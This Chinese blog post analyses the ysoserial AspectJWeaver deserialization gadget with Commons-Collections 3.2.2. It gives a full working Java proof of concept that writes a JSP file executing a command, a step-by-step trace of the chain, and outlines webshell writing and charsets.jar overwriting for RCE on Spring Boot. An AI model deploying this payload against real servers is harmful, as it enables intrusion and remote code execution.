0 前言

ysoserial反序列化系列学习记录之一,最近看到利用AspectJWeaver这个gadget实现webshell写入的渗透记录帖子,而这个gadget用到的Commons-Collections版本为3.2.2,高版本的CC更具实用性。除了详细解析gadget之外,还考虑了两种实际攻击场景的应用。

1 环境

jdk1.8u40

Commons-Collections:3.2.2

aspectjweaver:1.9.2

aspectjweaver这个包是Spring AOP所需要的依赖,用于实现AOP做切入点表达式、aop相关注解

pom.xml依赖如下:

<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.2</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.2</version>
</dependency>

实验代码如下:


import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map; public class aspectjweaver {
/*
commons-collections:3.2.2
aspectjweaver:1.9.2 spring AOP做切入点表达式、aop相关注解时需要
*/
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
String fileName = "test.jsp";
String tmp = "<%java.lang.Runtime.getRuntime().exec(\"calc\");%>\n";
byte[] exp = tmp.getBytes(StandardCharsets.UTF_8); // 创建StoreableCachingMap对象
Constructor<?> constructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
Object map = constructor.newInstance(".", 12); // 把保存了文件内容的对象exp放到ConstantTransformer中,后面调用ConstantTransformer#transform(xx)时,返回exp对象
ConstantTransformer constantTransformer = new ConstantTransformer(exp); // 用LazyMap和TiedMapEntry包装Transformer类,以便于将触发点扩展到hashCode、toString、equals等方法
Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName); // 反序列化漏洞的启动点: HashSet
HashSet hashSet = new HashSet(1);
// 随便设置一个值,后面反射修改为tiedMapEntry,直接add(tiedMapEntry)会在序列化时本地触发payload
hashSet.add("fff"); // 获取HashSet中的HashMap对象
Field field;
try {
field = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e){
field = HashSet.class.getDeclaredField("backingMap"); // jdk
}
field.setAccessible(true);
HashMap innerMap = (HashMap) field.get(hashSet); // 获取HashMap中的table对象
Field field1;
try{
field1 = HashMap.class.getDeclaredField("table");
}catch (NoSuchFieldException e){
field1 = HashMap.class.getDeclaredField("elementData");
}
field1.setAccessible(true);
Object[] array = (Object[]) field1.get(innerMap); // 从table对象中获取索引0 或 1的对象,该对象为HashMap$Node类
Object node = array[0];
if(node==null){
node = array[1];
} // 从HashMap$Node类中获取key这个field,并修改为tiedMapEntry
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
}catch (NoSuchFieldException e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, tiedMapEntry); // 序列化和反序列化测试
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
objectOutputStream.writeObject(hashSet); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("serialize.ser"));
objectInputStream.readObject();
}
}

执行成功后会在运行路径下写个test.jsp,下面来看看这个gadget具体是怎么触发的

2 gadget解析

2.1 高版本Commons-Collections的防御措施

在3.1或者4.0版本的Commons-Collections利用链中,最底层都要调用到InvokerTransformer类,高版本的修复方式就是在这个类的readObject和writeObject中加入安全警告,如下:

由于反序列化时,会自动调用类的readObject方法,所以当字节码传递到服务器短时,一运行InvokerTransformer#readObject方法就会触发警告,停止反序列化,必须服务器端手动开启允许反序列化的设置。

2.2 获取AspectJWeaver的调用链

这个gadget最终要写一个文件,根据Windows的文件名要求,我们写入"test.?jsp"时会出问题,如此即可获得调用链。获得调用链如下:

如果研究过低版本下Commons-Collections的HashSet调用链,肯定就会非常熟悉readObject后面这一部分。首先HashSet#readObject方法会触发map.put(e, PRESENT)

  • HashSet#readObject
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
// 省略了不重要的部分 // Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor)); // Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT); // 触发点
}
}

此时有个很关键的问题在于这个对象e到底是啥?回到我们的代码利用反射修改值的部分

// 用LazyMap和TiedMapEntry包装Transformer类,以便于将触发点扩展到hashCode、toString、equals等方法
Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName); // 反序列化漏洞的启动点: HashSet
HashSet hashSet = new HashSet(1);
// 随便设置一个值,后面反射修改为tiedMapEntry,直接add(tiedMapEntry)会在序列化时本地触发payload
hashSet.add("fff"); // 获取HashSet中的HashMap对象
Field field;
try {
field = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e){
field = HashSet.class.getDeclaredField("backingMap"); // jdk
}
field.setAccessible(true);
HashMap innerMap = (HashMap) field.get(hashSet); // 获取HashMap中的table对象
Field field1;
try{
field1 = HashMap.class.getDeclaredField("table");
}catch (NoSuchFieldException e){
field1 = HashMap.class.getDeclaredField("elementData");
}
field1.setAccessible(true);
Object[] array = (Object[]) field1.get(innerMap); // 从table对象中获取索引0 或 1的对象,该对象为HashMap$Node类
Object node = array[0];
if(node==null){
node = array[1];
} // 从HashMap$Node类中获取key这个field,并修改为tiedMapEntry
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
}catch (NoSuchFieldException e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, tiedMapEntry);

首先是lazyMap和TiedMapEntry后面再详细解析,后面部分的代码则是将"fff"替换成tiedMapEntry对象,这时需要从源码中看看HashSet如何存储值的:

  • HashSet中的所有对象都保存在内部HashMap的key中,以保证唯一性

  • HashMap的每个key->value键值对保存在一个命名为table的Node类数组中,每次调用HashMap#get方法时,实际时从这个数组中获取值

  • 跟进看看HashMap$Node类

到这里也就很清楚了,只需要通过反射获取HashSet内部的HashMap对象,在修改HashMap$Node类中的key属性为tiedMapEntry即可,回看一下代码应该很容易理解。

2.3 gadget详解

前面已经说到,HashSet#readObject方法会调用HashMap#put方法,

  • HashSet#readObject()
public class HashSet<E> extends AbstractSet<E> implements Set<E>, Cloneable, java.io.Serializable
{
private static final Object PRESENT = new Object();
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
// 省略了不重要的部分 // Create backing HashMap
map = (((HashSet<?>)this) instanceof LinkedHashSet ?
new LinkedHashMap<E,Object>(capacity, loadFactor) :
new HashMap<E,Object>(capacity, loadFactor)); // Read in all elements in the proper order.
for (int i=0; i<size; i++) {
@SuppressWarnings("unchecked")
E e = (E) s.readObject();
map.put(e, PRESENT); // 触发点,PRESENT=new Object(); 源代码中可见,就不截图了
}
}
}

由于HashSet只有一个值,所以相当于执行了HashMap.put(tiedMapEntry, new Object()),跟着这个基础,继续往下看

  • HashMap#put(tiedMapEntry, new Object())
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

此时key=tiedMapEntry,value=object (将new Object()简写为object,这个值不影响啥),明显会先执行HashMap#hash(tiedMapEntry),跟进一下

  • HashMap#hash(tiedMapEntry)
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

此时key=tiedMapEntry,代码中明显会先调用key.hashCode()方法,也就是执行了tiedMapEntry.hashCode(),此时继续跟进

  • TiedMapEntry#hashCode()
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

这里会先调用TiedMapEntry#getValue()方法,需要跟进一下

  • TiedMapEntry#getValue()

此时map和key分别是啥呢?这就要回看一下我们的代码和TiedMapEntry的构造方法了!

  • TiedMapEntry的构造方法
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
  • payload中的相应代码
Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName);

也就是说,上面的图片中,map=lazyMap,key=filename,所以直接跟进LazyMap#get(filename)和LazyMap.decorate()方法

  • LazyMap.decorate(Map, Transformer)和对应的构造方法
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
// 构造方法
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
  • LazyMap#get(filename)
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

此时会看我们的代码关于lazyMap的部分

String fileName = "test.jsp";
String tmp = "<%java.lang.Runtime.getRuntime().exec(\"calc\");%>\n";
byte[] exp = tmp.getBytes(StandardCharsets.UTF_8); // 创建StoreableCachingMap对象
Constructor<?> constructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
Object map = constructor.newInstance(".", 12); // 把保存了文件内容的对象exp放到ConstantTransformer中,后面调用ConstantTransformer#transform(xx)时,返回exp对象
ConstantTransformer constantTransformer = new ConstantTransformer(exp); // 用LazyMap和TiedMapEntry包装Transformer类,以便于将触发点扩展到hashCode、toString、equals等方法
Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);

也就是说,lazyMap.map=StoreableCachingMap,lazyMap.factory=ConstantTransformer,将这些信息带入到LazyMap.get(filename),

    1. 由于map.containsKey(filename)=false,所以进入if代码块。
    1. 此时调用lazyMap.factory.transform(filename),也就是ConstantTransformer.transform(filename),跟进一下该方法
// 构造方法,使得iConstant=exp
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
// transform方法,返回iConstant,也就是exp
public Object transform(Object input) {
return iConstant;
}

执行完后,回到LazyMap.get(filename)中,此时value=exp,执行map.put(filename, exp),实际上执行StoreableCachingMap.put(filename, exp),继续跟进

  • StoreableCachingMap.put(filename, exp)
private static final String SAME_BYTES_STRING = "IDEM";
private static final byte[] SAME_BYTES = SAME_BYTES_STRING.getBytes();
public Object put(Object key, Object value) {
try {
String path = null;
byte[] valueBytes = (byte[]) value; if (Arrays.equals(valueBytes, SAME_BYTES)) { // SAME_BYTES = "IDEM".getBytes();
path = SAME_BYTES_STRING;
} else {
path = writeToPath((String) key, valueBytes);
}
Object result = super.put(key, path);
storeMap();
return result;
} catch (IOException e) {
trace.error("Error inserting in cache: key:"+key.toString() + "; value:"+value.toString(), e);
Dump.dumpWithException(e);
}
return null;
}

这里key=filename,value=exp,带入代码中,更改变量名valueBytes=exp数组,然后进入if判断语句,显然"IDEM"和我们的exp不相等,进入else代码块,跟进writeToPath((String) key, valueBytes)

  • StoreableCachingMap#writeToPath((String) key, valueBytes)
private String writeToPath(String key, byte[] bytes) throws IOException {
String fullPath = folder + File.separator + key;
FileOutputStream fos = new FileOutputStream(fullPath);
fos.write(bytes);
fos.flush();
fos.close();
return fullPath;
}

此时key=filename,bytes=恶意代码byte数组,代码比较简单,就是单纯的写文件,因为没有catch语句,所以2.2中获取调用链时给filename="test.?jsp"会触发报错,从而给出调用链。

到这里整个gadget就解析完了,主要是避开了InvokerTransformer#readObject时的安全检查,并利用lazyMap.get()方法去调用写文件的类,从而达到文件写入的能力。最后再结合ysoserial中给出的调用链回顾一下整个调用链

Gadget chain:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()

3 两种应用场景

3.1 直接写入jsp

如果目标Web应用可以写入jsp,并且能够解析,那直接写jsp Webshell即可,比较直接,就不多说了

3.2 SpringBoot采用jar包部署的情况

现在很多应用都采用了SpringBoot打包成一个jar或者war包放到服务器上部署,就算我们能够写文件,也不会被内嵌的中间件解析,这个时候应该怎么办呢?

LandGrey大佬给出了解决办法:Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索

向服务器的jdk目录下写入jar包,由于jvm的类加载机制,并不会一次性把所有jdk中的jar包都进行加载,所以可以先写入/jre/lib/charsets.jar进行覆盖,然后给request header中加入特殊头部,此时由于给定了字符编码,会让jvm去加载charset.jar,从而触发恶意代码。恶意头部可以如下:

Accept: text/plain, */*; q=0.01
Accept: text/html;charset=GBK
...

具体细节请见大佬的博客和github仓库。

参考

Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java

AspectJWeaver文件写入gadget详解和两种应用场景举例的更多相关文章

  1. java解析json字符串详解(两种方法)

    一.使用JSONObject来解析JSON数据官方提供的,所以不需要导入第三方jar包:直接上代码,如下 private void parseJSONWithJSONObject(String Jso ...

  2. Ansible_常用文件模块使用详解

    一.Ansibel常用文件模块使用详解 1.file模块 1️⃣:file模块常用的参数列表: path       被管理文件的路径 state状态常用参数: absent           删除 ...

  3. Multipart/form-data POST文件上传详解

    Multipart/form-data POST文件上传详解 理论 简单的HTTP POST 大家通过HTTP向服务器发送POST请求提交数据,都是通过form表单提交的,代码如下: <form ...

  4. Linux "ls -l"文件列表权限详解

    ls Linux "ls -l"文件列表权限详解 1.使用 ls -l 命令 执行结果如下(/var/log) : drwxr-x--- root adm -- : apache2 ...

  5. C#文件后缀名详解

    C#文件后缀名详解 .sln:解决方案文件,为解决方案资源管理器提供显示管理文件的图形接口所需的信息. .csproj:项目文件,创建应用程序所需的引用.数据连接.文件夹和文件的信息. .aspx:W ...

  6. Multipart/form-data POST文件上传详解(转)

    Multipart/form-data POST文件上传详解 理论 简单的HTTP POST 大家通过HTTP向服务器发送POST请求提交数据,都是通过form表单提交的,代码如下: <form ...

  7. iOS回顾笔记(03) -- 自定义View的封装和xib文件的使用详解

    iOS回顾笔记(03) -- 自定义View的封装和xib文件的使用详解 iOS开发中,我们常常将一块View封装起来,以便于统一管理内部的子控件.如iOS回顾笔记(02)中的"书" ...

  8. WAL日志文件名称格式详解

    转自:http://blog.osdba.net/534.html WAL日志文件名称格式详解 PostgreSQL的WAL日志文件在pg_xlog目录下,一般情况下,每个文件为16M大小: osdb ...

  9. 8.var目录下的文件和目录详解

    1./var目录下的文件和目录详解. /var (该目录存放的是不断扩充且经常修改的目录,包括各种日志文件或者pid文件,存放linux的启动日志和正在运行的程序目录(变化的目录:一般是日志文件,ca ...

随机推荐

  1. CentOS文件目录类语法

    目录 一.目录查看切换类 1. pwd 显示当前工作目录的绝对路径 2. ls 列出目录的内容 二.文件与目录创建删除类 1. mkdir 创建一个新目录 2. touch 创建空文件 3. rmdi ...

  2. Visio操作【未完】

    Visio 1.如何操作文档 新建基本框图和空白框图 单击基本框图打开后有模具 空白框图打开之后并没有形状 左下角发现有 更改纸张方向大小 自动调整大小: 如果我们选择形状进入到我们的页面,如果放到边 ...

  3. AbstractRoutingDataSource -- Spring提供的轻量级数据源切换方式

    AbstractRoutingDataSource 只支持单库事务,也就是说切换数据源要在开启事务之前执行. spring DataSourceTransactionManager进行事务管理,开启事 ...

  4. MySQL-01-简介以及安装

    Mysql简介 什么是数据 数据:文字.图片.视频... 人类认知的数据表现方式 计算机:二进制.16进制的机器语言 基于数据的重要性和复杂性的不同,我们可能有不同的管理方式 哪些数据是适合存储到数据 ...

  5. CSS Transform完全指南 #flight.Archives007

    Title/ CSS Transform完全指南 #flight.Archives007 序: 第7天了! 终身学习, 坚持创作, 为生活埋下微小的信仰. 我是忘我思考,共同进步! 简介: 一篇最简约 ...

  6. STM32—SysTick系统定时器

    SysTick是STM32中的系统定时器,利用SysTick可以实现精确的延时. SysTick-系统定时器 属于 CM3 内核中的一个外设,内嵌在 NVIC 中.系统定时器是一个 24bit 的向下 ...

  7. MySQL基本概念及增删改查操作

    SQL.DB.DBMS关系 DB: DataBase(数据库,数据库实际上在硬盘上以文件的形式存在) DBMS: DataBase Management System(数据库管理系统,常见的有:MyS ...

  8. Ubuntu完全卸载Docker步骤

    Ubuntu完全卸载Docker步骤:https://www.jianshu.com/p/c03044dbeaaf

  9. flutter 常用视图组件

    1.custom class widget main.dart 1 import 'package:flutter/material.dart'; 2 import './pages/custom.d ...

  10. bicabo C#多线程详解(三)

    继续上一节的问题:调换两个新创建的线程启动顺序会是什么结果? using System; using System.Threading;namespace Test{    class TestThr ...